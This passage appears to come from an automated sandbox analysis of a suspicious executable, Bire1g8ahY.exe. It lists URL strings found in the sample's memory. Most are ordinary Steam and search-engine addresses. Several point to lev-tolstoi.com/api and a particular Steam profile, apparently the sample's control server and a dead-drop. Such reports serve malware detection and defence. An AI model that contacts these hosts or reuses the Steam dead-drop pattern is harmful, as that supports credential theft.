Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstaticp
Source: Bire1g8ahY.exe, 00000000.00000003.1457483751.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: Bire1g8ahY.exe, 00000000.00000003.1457483751.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: Bire1g8ahY.exe, 00000000.00000003.1604146040.000000000133C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484337642.0000000001340000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1523470772.0000000001340000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1411225082.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/2U
Source: Bire1g8ahY.exe, 00000000.00000003.1523615008.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459914773.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1499409777.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1460527595.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: Bire1g8ahY.exe, 00000000.00000003.1386534600.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiy
Source: Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/es
Source: Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: Bire1g8ahY.exe, 00000000.00000003.1386534600.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/piHt
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/t
Source: Bire1g8ahY.exe, 00000000.00000003.1432793541.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1458027544.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1433032479.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1457886992.0000000005ABF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1457694618.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1432927562.0000000005ABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/x
Source: Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343774938.000000000130A000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
